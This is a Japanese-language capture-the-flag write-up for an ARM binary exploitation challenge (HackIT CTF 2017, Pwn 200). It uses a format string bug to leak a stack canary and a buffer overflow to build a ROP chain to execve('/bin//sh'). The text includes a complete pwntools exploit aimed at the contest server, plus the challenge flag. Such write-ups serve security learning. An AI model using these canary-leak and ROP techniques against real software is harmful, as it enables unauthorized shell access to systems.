HackIT CTF 2017 [Pwn 200] Terminator canary
観察
[Pwn 150]と引き続きこちらのバイナリもARMのようです。
»»»» file pwn200 pwn200: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=d78f4d65bc199dc2216d5076b7944d7707c6163a, not stripped
まずはセキュリティ機構のチェックをします。
»»»» gdb -q pwn200 Reading symbols from pwn200...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
CANRYとNXBitが有効なようです。 今回も statically linked
ですので、条件を揃えた場合のみシェルコードが実行可能ということを理解してExploitコードを組み立てましょう。
まずは動的解析をしてみました。(実際にやるときはどちらでもいいとは思いますが、僕の場合は動的解析で動きを掴んで詳細を追うために静的解析に取り組むほうが多いです。)
その結果 CHECK>
の直後の入力で書式指定文字列攻撃(FSA)が、 FIGHT>
の直後の入力でBuffer Over Flowができることが分かりました。ただしBoFはCANARYの値を特定できない限りは利用できません
さてFSAが可能なことがわかっているため、次は使えそうなオフセットを次のようなスクリプトで探します。
from pwn import * context.log_level = "debug" for i in range(1,1000): conn = process('./pwn200') #conn = remote(HOST, PORT) conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i) addr = conn.recvuntil('I need')[4:-6] if not '0' == addr: print(i) print(addr) conn.close()
この結果以下の有用なオフセットを発見しました。
オフセット 3: 入力先のアドレスのポインタ オフセット 5: 入力先 オフセット 520: _libc_start_main()の途中のアドレス(つまり、main()の呼び出し元) オフセット 534: CANRAYの値のポインタ
このオフセットは試行錯誤のすえに手に入れたものなので、実際にやるときは必要になってから発見するのがいいと思います。
Exploit
前述したようにこの問題はシェルコードを実行する環境を整えないとシェルコードは使えません。そのためまずはCANARYを特定して、BOFを発生させてROPにつなげる方法について検討します。
まず、CANARYを特定したいところですが、ひとつ問題があります。それはCANARYの最下位のバイトがNULLバイトであるということです。(これは必ずそうなるようです。自分はあまり詳しくないので、他のアーキテクチャでもこうなるのかはわかりません。)
これを回避するためにまず以下のようなペイロードで最下位のバイトを書き換えておきます。
'%65x%534$hhn'
さらにこのペイロードに以下のペイロードを追加することでCANARYをLEAKします。
'%534$s'
最後に以下のペイロードを追加してCANARYの値を元に戻します。元に戻しておかないと、この時点でBoFが検出されることになってしまいます。
'%179x%534$hhn'
値を変更元より小さい値にしたいときは数値をオーバーフローさせることでそれが可能になります。
さて、これでCANARYをLEAKすることができました。またCANARYは今回の場合は入力バッファーの最後につくようなので、'A' * 1024(この値は静的解析などで調べる)のあとにCANARYを配置してBoFのオフセットを探しましょう。
BoFのオフセットが特定できたらあとは、 execve("/bin//sh", NULL, NULL)
を実行して終わりです。
今回はARMアーキテクチャなので、レジスタr7にexecve()のシステムコール番号11を入れ、引数をr0, r1, r2の順番に入れれば完了です。
また文字列 "/bin//sh"
は入力に含めておいて、オフセット3を用いることでそれを指すようにしておきます。
ARMアーキテクチャには ret
命令のようなものはないため、 bx {reg}
命令を用いてROPを実行します。最後に割り込み処理 svc 0
を実行することでシステムコールを呼ぶことが出来ます。
以下が最終的な Exploitコードです。参考のため、オフセット確認用のスクリプトなどもコメントアウトして残しておきました。
from pwn import * #context.log_level = "debug" HOST = '165.227.98.55' PORT = 3333 #3 stack pointer 5 #for i in range(1,1000): # conn = process('./pwn200') # #conn = remote(HOST, PORT) # conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i) # addr = conn.recvuntil('I need')[4:-6] # if not '0' == addr: # print(i) # print(addr) # conn.close() #for i in range(1010, 2000): # print(i) # #conn = remote(HOST, PORT) # conn = process('./pwn200') # conn.sendlineafter('CHECK> ', 'AAAA') # conn.sendlineafter('and your motorcycle.', 'A' * i) # conn.stream() # conn.close() #conn = remote(HOST, PORT) #check offset #for i in range(100): # print(i) # conn = process('./pwn200') # conn.sendlineafter('CHECK> ', '%1536x%520$hn') # conn.sendlineafter('and your motorcycle.', 'A') # conn.sendlineafter('CHECK> ', '%65x%534$hhn%534$s%179x%534$hhn') # conn.recvuntil('A') # canary = u32('\x00' + conn.recv(3)) # payload = 'A' * 1024 # payload += p32(canary) # payload += 'A' * i # conn.sendlineafter('FIGHT> ', payload) # conn.interactive() # offset 8 #conn = process(['qemu-arm-static', '-g', '1234', 'pwn200']) #conn = process(['qemu-arm-static','pwn200']) conn = remote(HOST, PORT) conn.sendlineafter('CHECK> ', '%1536x%520$hn%3$x') STACK = int(conn.recvuntil('I')[-9:-1], 16) log.success("STACK :0x%x" % STACK) conn.sendlineafter('and your motorcycle.', 'A') payload = '%65x' payload += '%534$hhn%534$s%179x%534$hhn' payload += '/bin//sh\x00' conn.sendlineafter('CHECK> ', payload) conn.recvuntil('A') STACK_BINSH = STACK + len(payload) - 9 log.success("STACK_BINSH :0x%x" % STACK_BINSH) CANARY = u32('\x00' + conn.recv(3)) log.success("CANARY :0x%x" % CANARY) payload = 'A' * 1024 payload += p32(CANARY) payload += 'A' * 12 # 0x00054c78 9040bde8 pop {r4, r7, lr} # 0x00054c7c 1eff2fe1 bx lr payload += p32(0x00054c78) payload += p32(0) payload += p32(11) # 0x00070068 0140bde8 pop {r0, lr} # 0x0007006c 1eff2fe1 bx lr payload += p32(0x00070068) payload += p32(STACK_BINSH) # 0x0006faf8 0640bde8 pop {r1, r2, lr} # 0x0006fafc 920003e0 mul r3, r2, r0 # 0x0006fb00 031041e0 sub r1, r1, r3 # 0x0006fb04 1eff2fe1 bx lr payload += p32(0x0006faf8) payload += p32(0) payload += p32(0) # 0x00070590 0240bde8 pop {r1, lr} # 0x00070594 1eff2fe1 bx lr payload += p32(0x00070590) payload += p32(0) #0x000101b8 # 4: svc 0 payload += p32(0x000101b8) conn.sendlineafter('FIGHT> ', payload) conn.interactive()
フラグ
h4ck1t{Sarah_would_be_proud}
FSAとBoFを組み合わせた問題は初めて解いたので面白かった。